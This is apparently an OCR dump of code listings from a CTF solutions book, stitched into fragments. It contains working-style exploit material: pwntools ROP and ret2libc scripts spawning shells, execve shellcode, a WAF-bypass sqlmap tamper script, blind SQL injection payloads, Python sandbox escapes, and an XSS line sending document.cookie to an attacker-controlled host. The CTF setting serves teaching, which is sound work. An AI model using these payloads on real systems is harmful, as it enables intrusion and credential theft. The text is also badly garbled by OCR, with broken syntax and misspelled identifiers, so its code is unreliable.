_priority_ = PRIORITY.LONSST

dot dependencies
pass

det tamper (payload, **kwargs):

Replace all MySQL keywords with a Keyword containing 800 to bypass a WAF

>>> SELECT --> SY00ELECT

mySqlKeywords = ["ABORT®,"ABS", "ABSOLUTE", "ACCESS*, "ACTION", "ADA", "ADD",
“ADMIN®, "AFTER®, "AGGREGATE" , "ALIAS*  "ALL" , "ALLOCATE", "ALSO")

“WHILE®, "WIDTH_BUCKET", "WINDOW", "WITH", "WITHIN", "WITHOUT"  "HORK" , "WRITE"
"MRITETEXT*, "X509", "XOR" , "YEAR" , "YEAR_MONTH", "2EROFILL*  "ZONE" |

for keyWord in mySqiKeywords:

i€ (keynord in payload) :

empekeyWord[0]+7400" keyWord

payload = payload.replace (keyWord, tp)
return payload
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int _cdect matn()
0
char v1(2017 7/tsprach) (op-schie1
char v2761; //isprasn) (op-samien

strepy(v1, "Helcone to XDCTF2015-1\m
memset (v2, 0, sizeof (v2));

setbut (stdous, v1);

write(l, vi, strien(vih;
sub_80484840);

return 0;
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oc_u01096:

push
call
ada
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test
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def extract ()t
in1=Inage.open (‘nice.bmp')
in2eimd copy ()
resultein. load ()
width, height=in2.s1ze

for x in xrange (0, wideh) :
for v in xrange (0, height) s
18 resultlx,yls0x1e=0:

resultlx,y1=0
olse:
resulex, y1-255

in2.show ()
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<2xml version='1.0" encoding='utf-8' standalone='yes' ?><map>
<atring name="DATA">MGNOZntDMGNYUzIKXOFURAIVHNRER29Zb1dz99</ St ring>
<int name="HighestScore® value="25300" />

<boolean name="isiaveSaveFileXnl® value="truet />

</map>
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<script type=rtext/javascript®>
funceion chock() |

for (var ob3 in window) |
ey |
48 ("gerClass® dn windowlobil) (
exyl
window(obj] .getClass();
docunent .urite (ob3) 5
docunent .urite (*<br />')
Jeaten(e) (1 1
)
)
catenie) (1
y
)
check ()

</script>
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log.error ("overflow the size of int®)
b = str("(0:£)". Format (a)) -spLit (=.") (0]
Log.infolb + * * + payload.encode (hex®))
ints_to_send.append (b)

b = process("./suitableplace”)

bp = remors("127.0.0.1%, 6677)

for i in ints_to_send
pusenditne(t)

p.sendline (*hegin®)
prrecvline)
printeractive )
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£rom pun import *
@ELF (" /punt)
B = process(*./punt)
# gdb.attach(p)

perecvline()
p.sendline (*hellon)
purecyline()

sys_adds = p32(e.symbols["systen’])
h_addr = e.search("sh) .next (1

ret_0_addr = "-2147483634%
ret_s_addr = "-2147483632"

pureceline()
p-sendline (ret_0_addr)
p.recyline()

©-sendline (stx (432 (sys_addz)))

p.receline()
p-sendline (ret_8_addr)
p.receline()
p.sendline (scx (sh_addr))

der attack():
for 1 in range(2, 10+
p.recyline()
payload = sex(i)
p.sendiine (payload)
p.recyline()
p-sendLine (payload)

attack()
. interactive ()
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tinclude <stdio.h>
binclude <string.h>
char bf[] = *flag: (NSCTF_nd509£6bedi621d3 Icadedes32627b4£6) %

int main(int azge, chart argvil)
i

printf ("td\a", strlentbut));
char key = "\x0b';
but(47) *= key;

for (int 1= 1; i< 48 1ee)
0
buE(4s - 1 - 11 “= bur(4s - 11;

for (int &= 0; 1< a8; 1o
¢
PrintE("\\x80x", but[1])

return 0;
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<div>
<a href="u/d.php"> L & R.I! </a>
</div>
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KEYL = *Maybe you are good at decryptint Byte Code, have a try!'
KEYZ = [124,148,52,59,164,50,37, 62, 67,52, 48,6,1,122,3,22,72,1,1,14, 46,27, 232]

daf decrypt (key, seed, en_out )

flag = "

or 1 in en_out ¢
v = (5 ord(key(seed]))-seed
seed = (seed + 1) % len(key)
1y 0:

flag += che(v)
zeturn flag

46 _name__ == '_main_
print decrypt (KEY1, 5,KEY2)
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import requests url='http://127.0.0.1/cte/5455654" 5 = requests.session() response
= s.get(url) html = response.content a = html.index('my_expr') html = html(a + 9:]

= html.index('<') heml = heml(

al heml = heml.ceplace('x’,"+") print html
response = s.post (url,data=(‘pass_key':eval(html)}) print response.content
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Sneigned char text ] = *92efcenISTAINT //plaintoxt
unsigned char + enc_out = (unsigned chact)malloc (16%a1zeot (umsigned char));
ABS_KEY enc_keys

e
unsigned char 10,41,12,13;

for (0 = 0x00 1 10 <= Oxte 1 100m0x1 )
'
Prist€("i0: W\nT, §0); //monitor the cracking process

Jrimmp—
for (11 = 0x00 1 11 <= Oxtt 1 110m0x1 )

¢
rp—

For (62 = 0x00 5 12 <= OxtE
¢

rysp—

for (53 = 0x00 7 13 <= Oxtt 1 130m0x1 )
‘

keyo13] = 121 /rkeyiz)

Keyo19] = 13; //key(3]

Keyo(12] = 105 //key10]

Keyl(41 = 41 //keyti}
Keyl(7] = ox1s //xey(si
keyi1z] = xmr //key(5]

ABS_set_encrypt_key (keyD, 128, cenc_key)
AES _ach_encrypt (toxt, enc_out, senc_key, AES_ENCRYPT);
AES_se_snceypt_Key keyi, 128, senc_key)s

AES ech_enceypt (enc_out, snc_out, ienc_key, AES_ENCRYPT):

e

Eor (5207 tonc_out 1) 1=0x00; 1441

Irprine
5 (*foneouten)

1+ teneostin);
ortls) ) entess

i e
‘

puts(raocti®l;
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unane-uname = (select (1) fron(adnin) whore (1ongth (passud) ) <100) =" spassud=1 § E4, L&
< 100 uname=unama'= (select (1) from (adnin) where (length (passud) ) <50) ' spasswd=1 ¢ i
A, B4t 50 uname=uname' = (select (1) £xon (adnin) where (Length (passwd)) <25)

spasswasl
# #5325 < L8 < 50 unamemuname’= (select (1) from (adnin) where (Length (passud) ) <30) ="
Gpasewd=l 4 4K, 30 < @M < 50 unamesuname!

(select (1) from(adnin) where (length
(passud)) <35)='spassudel # EA, 30 < B < 35 uname=unane’= (seloct (1) fron(adnin)
where (Length (passud))<33) =" épassud=1 # M, 30 < B < 33 uname-uname’ = (select (1)
£rom(adnin) where (length (passud) ) <32)="spasswd=1 # M3k, 32 < L& < 33 uname-uname’=
(select (1) £rom(admin) whore (1ength (passwd) ) =32) = epassud=1 § EM, H#=32
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t>docunent .write ('<lng src="htep://yourip:12121" sdocurent  cookiet’:/>');

</seript>
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test@ubuntu:-~/Desktop/exploit/ctfs python exp.py
[1] Puntools does not support 32-bit Python. Use a 64-bit release.
[*] ' /home/test/Desktop/exploit/ctf/pwn’

1386-32-1ittle

Partial RELRO

No canary found

NX enabled

to PIE (6x8648806)

[+] starting local process './pwn': pid 12944

[*] switching to interactive mode

pwn test
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#1/use/bin/python

£ron pun import

for offset in range(200, 350):
Log. tnfolstr (ot fset))

b = process (*./gms")

#p = remote("192.168.1.142%, 8017)
P.proc.stders = p.proc.stdout
p.sendline ("add")

P.sendiine(sa®)

p-sendline (6"}

P.recvuntil ("What's the Messagesz\n®)
p.sendline ("27 * offset) § overflow

rot = p.recvall()

p-closen
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1ibdun.50:4080438C R1, PC "dalvikon
1ibdun.50: 080438 B2, DEX parse failed”
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Package com.example.planes

import android.content.Context;

import android.content.Sharedpreferences;
import android.content . SharedPreferences. Bditor;

public class a

«

private Sharedpreferences editor = null;

public a(Context parancontext, String paramstring)

t

this.editor = paranContext.getSharedprefersnces (paranscring,
'

public void b()

‘

this.editor.edit () .putString ("DATAR, %) .commit();
)

public string cO)

t

return this.editor.getString ("DATA, "
)

public void d(String pazanstring)

¢

this.editor.edit () .putString ("DATA®, String.valueof(c()) + \
paramscring) .comit();

o
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read_plt = elf.symbols('read']
data_addr = elf.get_section_by_nane('.data’) .header.sh_addr

print " x" 4 (data_addr)

dof write(addr) :
payload = 'at + 112
payload = payload + p32(read_plt) +p32 (start_addr) + p32(0) + p32(addr)
+ p32010)
print p.reculine()
P.send (payload)
¥ rau_tnput (fusite /bin/bash')
P-send ("/bin/bash\x00")

weite (data_s
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int vul()
«

unsigned int v0; J1eaxez
int v2; //1speon] (bp-2enies
char v3; /7Lspean) (bp-24nie0
const char vi; //(sp#8n] [bp-20n180
char *arqu; //tsp+1an] (bp-1anie2
int //tsprisn) (bp-10mieL
int w77 //Lsprich) (bp-chiez

for (1= 0; <= 87 i)
0

argv = 07

V0 - tine(0);
srand(v0) s

V1 = rand;
puts (*input nunbe:

3 = sargu;
__i50c99_scant ("4d");





OEBPS/Images/250-2.jpg
lcome to my Python sandbox? Enter commands below! Please don’t me:
» though =/

3> Clambda:1)._glohals__(*han’ +*ned’ 1=(1
s -modules *os” 1
systencls™)
lag.ext

hell.py

3> 0s.systenccat Flag.txt!
ot_your_average_python
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Bctf(Too_Simple_Somet ines Naive!!t)rootegencric:/ #
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p.sendline (*1%)

Perocvuntii(*ds you want continue ok}
pusendLine("ok")
—
det avtack (adde, shelleraise):
for 4 in range(2)
precuuntil (index®)
prsendiine (st (2147483562 + 1))

P.recuunt 1L ("input new value\a®)
o

3
value = int(adar 621, 16)
prsendiine (st (vatue))

value = it (ada 161, 16)
prsendline (st (vaue) )
for 4 in range(2)
Fecvunt 1 (~indext)
ndiine (*1%)
recvunt 11 (-input. new valse\nt)

"
»
pesendiine (*1°)

precuuntil ("o you vant continue(oK)2%)
praeee

Prsendiine (*/bin/s
tser

psendiine ("ok")

et ek (adan
p.sondine (p6d (adde) )
for & in zange(2):

PrecvuntiL (index®)
Posendiine (st (2147483562 + 1))
Precvunt L (*inpuc new valuo\n®)

valve = int (printf_adde(6il, 16)
psendline (st (value) |

walue = it (printe_sade(:6], 16)
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PrecvantiL (input new value\n®)
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perecvunt i (*ds you want continve (X127}
PusendLine (okbV6saa")
prrecvuntil (b
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answer = hashlib.shal(secret["the answer to life the universe and
everything®]) .hexdigest () [0:16]
key = hashlib.shal(secret("Don't google what it is*]).digest () [0:6]
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int _cdecl main(int arge, const char argv, const char envp)
I

signed int vi; //(spe24n) [bp-chiez
signed int i; //(sp+28n) (bp-shiel
int (v6) (void); //tspach [bp-anier

V6 = (it () (void))mmap 0, 4u, 7, 34, -1, O);

for (1= 0; L <= 24 65 \_isocI9_scant("¥a", svd; v+l )
_((F1oat *)v6 + 1) = (long double)vi / 4000.0;

urite(L, "Can you make suitable shellcode in the right place?\n®, Ox3du);
return V()

)

int give_she1l()

‘

_gta_t vo; //5T1c_t01

V0 = getegid);

setresgid(vo, vO, v0);

return system(*/bin/sh ~i7);

)
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int show()
I
int result; //eaxa3

int w1y //tsprchi (bp-anie1

puts (“Input your 1d%);
Vi = read_int ()
A€ (V1< 0 11 V1= sumi0) )
result = puts(*Invalid Ldl%);
Fesult = printf(*#d's action : %s\n", (unsigned int)vi, *(QAORD *) (1611 *
1 + global_malloc));
return resule;
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</map>

vost

</string>
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£rom struct inport pack

# Padding goes here

®

pack(rert,
pack('<r’,
pack('<rt,
*rbint

pack(r<r’,
pack('<r’,
pack('<r?,
pack('<I’,
s

pack('<r’,
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pack(rert,
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pop edx ; ret
o .data

pop eax ; ret

mov dword ptr (edx], eax ; ret
pop edx ; rer

@ .data + 4

Pop eax ; ret

mov dword ptr (sax], eax ; ret
pop edx ; ret

@ .data + 8

xor eax, eax ; ret

mov dword ptr [edx], sax ; ret
pop ebx ; ret

@ .data

Pop ecx ; pop ebx ; ret

@ .data 8

Padding without overwrite ebx
Pop edx ; ret

o .data + 8

inc eax ; ret

inc eax ; ret

inc eax ; ret

inc eax ; zer

int 0x80






OEBPS/Images/323-3.jpg
+ Desktop binwalk haha.jpg i Q\'&

DECIWAL  HEXADECIMAL  DESCRIPTION \

3 e IPEG irago data, EXIF standard

12 oc TIF+ inage data, big-endian .

11445 8x2C85 Copyright string: * (c) 1998 Hewlatt-Packard Companyny"

21381 0x5385. AR archive data
543000 0x82918 7-21p archive data, version 0.4





OEBPS/Images/019-1.jpg
sqlmap -u "http://202.120.7.203/index.php?id=2+" —random-agent ~T flag ~~dump
--tamper=InsertiuliCharInsQLkeywords.py






OEBPS/Images/295-1.jpg
Offset
00000000
00000016
00000032
00000043
00000064
00000080
00000096
00000112
00000128
00000144
00000160
00000176
00000192
00000208
0

B4 3335 74
62 65 E2 Ad
A5 97 FB DB;
76 66 36 02
11 FC CF 0B,
31 FC AF 8B
E5 5F EB D8

7 C3 BF

eeeeen JRR DA
Vi...%.....198
WAr-?  EPnoFEERC
258, +niitly?
BRZ (e £263°F.
2.97.9, %e2cM=8?"
2L MR
S5 19 £7
befB7E 2. %8P

I..ffz.m
V6. Fv. 1S, 2.
.72, 988 #L1R
128R7R . 2. 2
B g"?HHX’»‘

+,






OEBPS/Images/092-1.jpg
Stack [0012FF58]=7C910208 (ntdl1.7C910208)

EDI=00381EAZ, (ASCIT "lagireversing_is_not_that_hard!}")

Jump £rom 00401010

00381EA2 6C 61 67 78 72 65 76 65 lag(reve

003815AA 72 73 69 68 67 5F 69 73 rsing_is

0038152 5F 62 6F 74 5F 74 68 61 _not_tha

003818BA 74 SF 68 61 72 64 21 7D t_hard!}






OEBPS/Images/150-1.jpg
[T rmeticns vinder EEE mni @ )

ettt st
- \ ey

i i
eiiofs & lossarsreoosersres avepinrisatpansereset s oot o, et






OEBPS/Images/144-1.jpg
type something herel

CHECK






OEBPS/Images/239-1.jpg
210 sfiregIIsEEEERNLLL

sesa] berrrrrrara
sezal suretittiarin
st surriiiiarie
setal o7 1111a15e

onabradchercsasone

B )
SErrerrrraons s wurrereeriese (- oneftestpeskiop /)

S
arial b1 rirarie

L
surtrersreass S vesne (- ronejtestfoeskocplpmnipan)





OEBPS/Images/153-2.jpg
public void showToast ()
i

android. support .v4.app. Act LonBarDraverToggleJellybeantizn b (android. support .v.
1.app.Act fonBarDraerToggledel lybeantazn. a ()} ;

android.widget . Toast .makeText (this.nContext, "\uT9E5\USISNUEEOLT, O).show();

return;
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package com.exanple.plane;
tmport. android.os.Bundle;
tmport. org. cocos2dx.1ib. CocoszdxAct ivity;
import. org.cocos2dx.11b, CocoszdxGLSuFaceV ou;
public class Firscrest
extends Cocoszaxhctivity
0
static
‘
Systen. loadLibrary (*cocos2depp®) ;
)
protected void oncreate (3undle parangundle)
‘
supex.oncreate (paramBundle) ;
new a(this, "flag").d("¥nEEaNSIYWERYQ==");
new a(this, "Cocos2dxPrefsFile").d("NO%);
)

public Cocos2dxGLsurfaceView onCreateView()
¢
CocoszdxGLSur faceVieu 1ocalCocos2dxGLSur faceView = new
Cocos2dxGLsur faceVien (Ehis) ;
new a(this, Cocos2dxPrefsFile").d("HGh);

LocalCocos2dxCLSur faceView. setEGLConFigChoosex (5, 6, 5, 0, 16,

zeturn localCocos2axGLSurfaceView;
)

o
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V

char ch = string_0(nun2);
int num = 1;
A (1< dne0)
«
a0
¢
eh = Convert.ToChar (this.method_6 (Convert .ToInt32 (ch), num)):
)
while (nun < int_0);
)
steing 1 = string 1 4 chy
numzee;
)
while (mum? < string_0.Length);

string_l = this.method I (string_1);

private int method_6(int int_0, int int_1)

«

zeturn (new incl) |

2,3, 5, 7, 11, 13, 0x11, 0x13, Ox17, Oxld, OxIf, 025, 029, OxZb, OXZE,
0x35, Ox3b, Ox3d, Oxd3, Oxi, Ox49, Oxdf, Ox53, OX59, Ox61, OX65, 067,
oxéb, 0xed, 0x71

Mine_1] * tat_0);

private string method_l(string string_0)

bytel) bytes = Encoding.ASCIT.Getytes(string_0);
retusn BitConverter.ToString (new

MSCeyptoserviceprovider () .ConputeHash (bytes)) .Replace ("~%, "*);
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from PIL import Inage
impore pytesseract

path = */Usexs/ce/Docunents/3389/c/

@ Lang HANUBIHFI
print (pytesseract.. inage_to_string (Inage.open (newpath), lang='ccnun’))

for parent,dirnanes, £ilenanes in os.ualk (path) :
for £ilename in filenames:
ey
print (pytesseract . inage_to_string (Inage.open (newpath) ,
Lang="cenun') )
except:
pass
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rec = p.recvuntil(®a")
rec = xecli-i]
rac = xec ¢ "\x00"

p-recvunt i1 ("nane®)
p-sendline ("yes)

main_adds = leakbase ()
starc_addr = hex(int main_addz, 16))
base_adds = int (nain_addr, 16) - 0x320
printf_addr = int(rain_addr, 16) + 0x199
printe_addz - hex(printe_adde)

print "base addr — ix* 1 base_addr
print "start adde — * + start_adds
print “printf addr —- * + printf_addr

atcack (start_addr)
pLrecvuntil (*name:®)
d = DynELE (leak, base_addr, elf<ELF(*./pwn’))

systen_addr = d.lookup("systen', 'libe’)
address 4x" ¥ (syscon_addr)

p.sendline(aa’)

attack (hox (systen_addr), True)
b interactive)
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bkbined chAR ALY ®
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A€ 4 == 112
p.sendiine (*0%)

elif & > 15,
p.sendline (stx (shellcode[i-161))

else:
pusendiine(ste (1))

attack()
pLrecvant il ("rosult\n®)

pesendline (57)
princeractive()
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For(int 1=0;1<605i+4) (

textBox2. Text+= (char) Convert . Tolnt 32 (textBox1.Text . Substring(i*8,8),2); |
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£rom pun tmport +
b = process(*./punt)
ol€ = BLF(". /pun")

urite plt = elf.synbols['write’]
write_got = elf.got('write']

func_addr = 0x08048484
start_addr = 0x080483d0

det leak (addr)
payload = ‘at * 112
payload = payload + p32 (write_plt) +pi2 (start_addr) + p3Z(1) + p32 (addr)
+ p3200)
purecvline()
p.send (payload)
data = porecy(d)
print (data) .encode (*hex')
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#coding:uct-8
from PIL import Inage

inl = Inage.open("y.bmp®)
in2 = Tnage.open (*flag.bmp®)
in3 = inl.copy()

original = inl.load()

flag = in2.10ad()

combine = ir3.1oad()

wideh = inl.size(0]
height = inl.size(l]

for x 4n range (0, width) s
for v in range (0, height.

£ 9. b = originallx, ¥l
FrR -
combinelx,y] = £é ~L,3,b
else
conbine(x,y] = r10xLg,b
in3. save ("hechena.brp")

O REE
rABAR
PRSI, RELRAELE

e
A

R G B A EBI
VA REES. 1 RATR,
VRS EORSLE 0

HER P ROIKRL L
VARG






OEBPS/Images/034-1.jpg
New Blog Post






OEBPS/Images/198-3.jpg
def attack (system_adds, data_addr):
payload = *a’ * 112
Payload = payload + p32 (syscen_addr) +p32(start_addr) + p32(data_adde)
print p.recviine()
p.send (payload)

attack (systen_addr, data_addr)

p.interactive()
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void kill()
0
int vo; //tspsch) (bp-dnjel

puts(*Input your id");
0 = read_int();
£ (V0 <0 11 v0 >= sum0) )
«
puts(*Invalid idi");
l
else £f ( *(_QHORD *) (I6LL * vO + global_malloc) )
‘
free(* (void **) (16LL * v0 + globalmalloc))s
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<body>
<form enctype="multipar/form-data® method="post" name="upform" action="">
<input name="upfile" type="file" size="25" maxlength="500">

<input type="submit" value="Submit">

<br>File Type Error<br>application/x-php
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_construct ( string sdsn [, string Susername [, string Spassword [, array
Sdriver_options 111 )
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P = remote(Tax.xx.xx.xx", 10000)
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public
«

void onClick(View paramview)

paramview =
try
«

Object localobject = openFilenput ("flag.txt");
byte(] arrayofsyte = new

byte[ ((FileInputstrean) localObject) .available()];
((FileTnputStrean) locaiObject) . read (arrayofByte) ;
locaiobjact = EncodingUtils.getstring (arrayOfByte, "UTF-8%);
pazanview = (View)localObject;
)
cateh (Bxception localBxception)
«

o G3)

«
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return data

4 = oynELF (leak, elf-elf)
Libe_addr = d.lookup(None, libet)
Log.info(*1ibe address:® + hex(Libc_adde))
d = DynELF (1eak, Libc_addr)

systen_addr = d.lookup('systen')
Log.info(*systen address: + hex(systen

ade))

ead_pit = elf.symbols( read"]
zead_got = elf.got['read']
data_addr = elf.get_section_by_name (*.data’) .header . sh_addr

At 3 (data_addr)

print =

der write(addn)
payload = 'at + 112
payload = payload + p32(read_plt) +p32(start_addr) + p32(0) + p32(addr)
+ p32(10)
print p.recviine()
p-send (payload)
¥ raw_input (42, system binsh')
P.send(*/bin/bash\x00%)

dof attack(system_addr, data_adde) :
payload = 'at + 112
Payload = payload + pi2(system_adde) +p32(start_addr) + p3z(data_addr)
prine p.recvline()

P.send(payload)

write (data_addr)
attack (system_addr, data_addr)
p.interactive()
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Welcome to use the best calculator!
How many times do you want to calculate: (#¥k4)
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addnessages()

0; // ST18_4@3
char src; // [sp+1Ch] [bp-2Ch]@3
int v3; // [sp+3ch] [bp-Ch]@1

u3 = wMK_FP(__GS__, 20);

if ( numposts <= 7 )

{
u0 = (int)*(&posts + numposts);
puts(“What's the Name?");
readline(&src, 32, stdin);
strepy((char =)(vb + &), &src
puts(“What's the Title?");
readline(&src, 32, stdin
strepy((char =)(ub +
puts(“What's the Me,
readline(&src, 320, stdin);
strepy((char *)(ud + 68), &src);
++nunposts;

¥

else

puts(“messages is full?");
¥
return =MK_FP(__GS__, 20) ~ v3;
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+] = @ soue xss+ Encryption- Encodings Other

@ Load URL ("l

& spliturL
® Exeate

<titiesasdr</title>
<php
error_reporting(0);

if(ts_GETIfe]){echo '<a href="./index.php?file=show.php>click me? no</a>"}
Sfile=s_GET{fle;

iF(strstr(Sfie,”./)stristr(§file, tp")stristr(§file,"input™)stristr(file,"data"){
echo "Ohnol"

3}
include(sile);
//Mag:nctf{eduleni_elif_tacol si_siht)

»
</html>
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004010¢4
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9040107

£6 SOFFFFET call 00401000
B 4 dmp shore 004010EF

6 02 push 2

68 20784000 push 00407820

FET5 4 push dword per febp-Cl

€A 00 push 0

FF15 £4504000 call dword ptr [<GUSER32.MessageBoxh»>
EB 14 3mp shore 00401060

6 02 push 2

68 20784000 push 00407820

845 74 mov

x, dword prr lebp=Cl
40 inc eax

50 push eax

€ 00 push 0

FF15 £4604000 call dword ptr [<GUSERS2.MessageBoxh>>
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python
>>> [)._class_._base__._subclasses_().index (£41e)
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ine6t my_inic ()

tne v0; /re001
//v083
_inted v2;  //sT00_863

0 = 1_3_set_logtunction (nullsub_2);
L€ ( Checksigv) )

3i_exit(o);

V1 = 3_3getpid();

LODNORD (v2) = Checkstrace;

HIDNORD (v2) = CheckPtrace;

3_1_hook  (1nt)sunk 6004, v1, (int)"libe.”, (int)eread)
return v2;
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import requests import hashlib
sl = *hetps//localhost/sd.php’ sha = requests.get (url) .content (580 : 620
shal = hashlib.shal() for i in range (0, 100001):

££ hashlib.shal (hashlib.ndS (str (1)) .hexdigest () .nexdigest () == shas

Post - (*inputiiumber': 1) print reguests.post(url, data=post).content
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for x in range (ingl.size(0]
for y 4n range (ing;
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print s

sizetil):
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My Sites:

Add your favorites link here

People want you to store your favorite links here.
However, you are not into that, you just want to do
some XSS magic to the page. Add an alert with the
[Votnerability: A3 Cross-Site Seripting 055) message 'Ex1’ to the page (My Sites:)
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ssize_c sub_8048484()
«
chaz but; //1spich) (bp-6chal

setbut (stdin, sbut);
return read(0, sbuf, 0x100u);
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<zpnp.
sdata = ‘xisoningtest';
$td = morypt_nodule_open (HCRYPT_RIJNDAEL_128, *
Sivs = merypt_enc_get_iv_size(std);
$iv = substx (mdS ('xexccEEET), 0, Sive)s
IIAERERE, dokoy WG 4 RAMG SR AELHFRAIII, NI oy RiTaM
for (5a=0x0;3a<-OKELLE; Sars)

HCRYPT_MODE_CBC, ")

b =sprinte(s0ax",sa);
Skey = *667537397467.5b;
Ilecho Skey."</br>*;
if (norypt_generic_init(std, Skey, $iv) t= 1)
ScipherText = merypt_generic(std, Sdata);
£€ (binznex(ScipherText)
"enes3d6ds0dsesces29a374as a3n0es") |
echo skeys

i
i
rerypt_generic_deinit (std);
ReEypt_nodule_close (Std) ;
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Post data

| 1=echo “type.\\F1a9.php’;

flag{23147b6c7375228¢}
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Line 33 of 33

321 /sbin/ueventd

1321 /system/bin/servicemanager
2] fsystem/binjvold

32] fsystem/bin/netd

320 /system/bin/debuggerd

32) systembin/ild

1321 /systembin/surfacefinger

1321 zygote /bin/app.process -Xeygote /system/bin --zygote ~start system-.
321 fsystem/bin/mediaserver

32) system/binfinsalld

321 /system/bin/keystore /data/misc/keystore
132) /systembin/qemud

(321 systembin/sh

1321 /sbin/adbd

1321 system server

[32] comandroid.systemui

[32] comandroidinputmethod.atin
32 comandroid.settings

132 com.android.phone

[32] com.androidlauncher

32] andreid.process.acore

32] com.android.calendar

132] com.android deskclock

32 comandroid.contacts

132] com.android providers.calendar
132] android.process.me

1321 com.android.mms

1321 com.android.email

132] com.android.exchange

1321 /systembin/sh -
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impost struct
import ctypes
£rom pun inport *

shellcode = ["\x31\xe3", # xor ecx, ecx
"\xET\xel", § mul ecx
k517, # push ecx
"\BL\XEET, § mov c1, OxEF
S\ebS\KEE®, § mov ch, OxFF
"\x4l®, § ine eck
"\xba\x68", # mov an, 0x68

"\KBOVKTI, # mov al, 0x73
“\kET\xeln, # mul ecx
“\bi\k2E%, § mov an, Ox2F

S\BO\K2ET, # mov al, 0xZF
“\x50%, # push eax
“\epi\xéer, § mov ah, Oxée
"\xb0\x63", # mov al, 0x69
S\xeT\xe1®, § mul ecx
"\b4\x62", § mov ah, 0x62
S\p0VKZET, # mov al, 0x2F
"\x50%, # push eax
"\31\xe0", § xor eax,

SLG1\KAZ?, § xox edx, edx
"\I1\Ke9", § xor ecx, ecx
"\x89\ke3", § mov ebx, esp
\xb0\x0b*, # mov al, 11
"\xcd\x80°] # int 0x80

ints_to_send = (1
for instr in shellcod
2= "aaon

if len(instr)
2 = "\xs0\xdon

payload = "\xdg® + instrlsi-l] ¢z

a = struct.unpack (">£%, payload) (0]+4000

if a > 2147483647
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result.bin: gzip compressed data, was *flag.png", last modified:
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shows show all messages. read: Read messages. add: Add messages. login:
Authenticate as adnin. quit: Just exic
show

Post #0: lalala by pic Post #1: ha ha by Join login Enter admin password: ad Weong

password!
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//RRHE public vold dfs(int x,int y,char positionchar, int position, int m (
4£(x-1>=0 &4 positioncharx-11='X' 46 positionx-1l=1) dfs(x-L,y,

S£(y-1>=0 66 positioncharxi='X' &4 positionxiel) dfs(x,
i€(x+1<n 55 positioncharx+li='X' 45 positionx+ll=1)
Sf(y+icn i positioncharxi='X' && positiomst=

positionx-1,
positionchar, position,n);
y-1,positionchar, position,n);
dfa(x+1,y, positionchar, position,n);
1) dfs(x,y+1, positionchar, position,n); |
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import json
import hashlib

import os

inport basesd

£rom Crypto.Cipher inport ASS

£p = open(*secret. json", "r*)
secret = Json.load(tp)
fp.close()

§€ type (secret ["the answer to life the universe and everything®l)
destroy_the_universe()

type(r1Tn
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Quick Access = \-

% Threods | 8 Heop | § Allocei..| % Networ.

@ -+ -

Name Size Date Time  Permissi
+ @ comexample.andrcid.fvecubes 20160810 0043
- & comexample.andrcid.softkeybosrd 2160810 0043
» @ comexamplecrackme 20160810
4 @ comexampleplane 2016.08-10

& cache 20160809
© files 20160809
@b 2016.08-10
< shored prefs 20160803
2 Cocos2duprefsFile sl 560 2016.08-09

2 flagaml 184 20160809
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shellcode = ("\x31\xc9", # xor ecx, eck
"\KETxe", # mul ecx

"\x51%, § push ecx

S\BIVKEET, # mov ¢, OxF

S\BS\KEE®, # mov ch, OXFF

"\x417, ¢ inc ecx

\xbi\x68%, # mov ah, OxGE

S\BO\K3%, # mov al, 0x73

"\xeT\xel®, # mul ecx
\sbé\x2£%, # mov ah, 0x2F

S\BO\K2E®, ¥ mov al, OZF *\xS0%, ¢ push eax
\sbi\x6e®, # mov ah, Oxée

"\xb0\x63", ¢

“xeTielt, 4

"\sb#\x62%, # mov ah, 0x62

"\eBONK2ET, 4 mov al, Ox2F

x50, 4 push eax

"\31\e0", 1 xor sax, eax

"\1ixdze, 4 xor sdx, edx

"\k31\xed%, 4 xor scx, ecx

"\x89\xe3%, | mov ebx, esp

"\«BO\XOD®, # mov al, 11

\xcd\x80%) # int 0x80

VRS Ox4s, £ 0x40

\48\xe9\x31140%, ¥ inc cacixor scx, scxjdec sax

mov al, 0x69
L ecx
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1come to my Python sandbox? Enter commands below! Please don’t mess up my serv
x though :/

> £ = (1._class__._bas
_Ext? > read)

_._subclasses 1481
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1€ ( sub_401022() || TeDebuggerresent () )

__depugbreak();

sub_401000(v3 + 4, (int) lpMem);

ExitProcess (OKFFFFEEEF);

MessageBoxA (0, (LPCSTR) lpMem + 1, "Flag”, 2u);
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int _fastcall CheckPtrace (int al, int a2, int a3)
I
V15 = _stack_chk_guare
3_3_nencpy (dest, byre_4818, 0x23u)
v5 = duord_6044
33 ook preveld [ (Entseunk6008)
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void _fastcall main(_intsd al, char **az, char **a3)

‘
int v3; //Lsprch] bp-anjez

setbut (stdin, OLL);
setbut (stdout, OLL);
atarm(0x3su);
sub_BES ()
while (1)
'
v3 = i
Lf ( (unsigned Lnt)vs <= 5 )
break;
puts (*Invalid choise®);
)
JUMPOUT(_CS_, (char *)dword_117¢ + \
dword_117C] (unsigned __int64) (unsigned

ine)van s
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remote_r = remote('192.168.3.17',8888)
Local_r= remote('192.168.3.17",3995)
remote_r.sendline (vul®)
for 1 in range(s1)

~recv(15000)
local_e.send(*\n")

print remote_:

fun = local_r.recy(15000) .atrip()

print "nun:® 4num
current_tine =tine.tine()

while time.time() < (int(current_time) +1):
tine.sleep(l)

remote_r.send(nun + *\n')

print remote_r (15000

remote_r.close ()

Local_r.close ()
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[0 java net
ik javax imageio
. javax imageio ImageIO
" Recognize {
VIR s liE ]
final NUMERIC

{ 148931080 136348222 } // '1'
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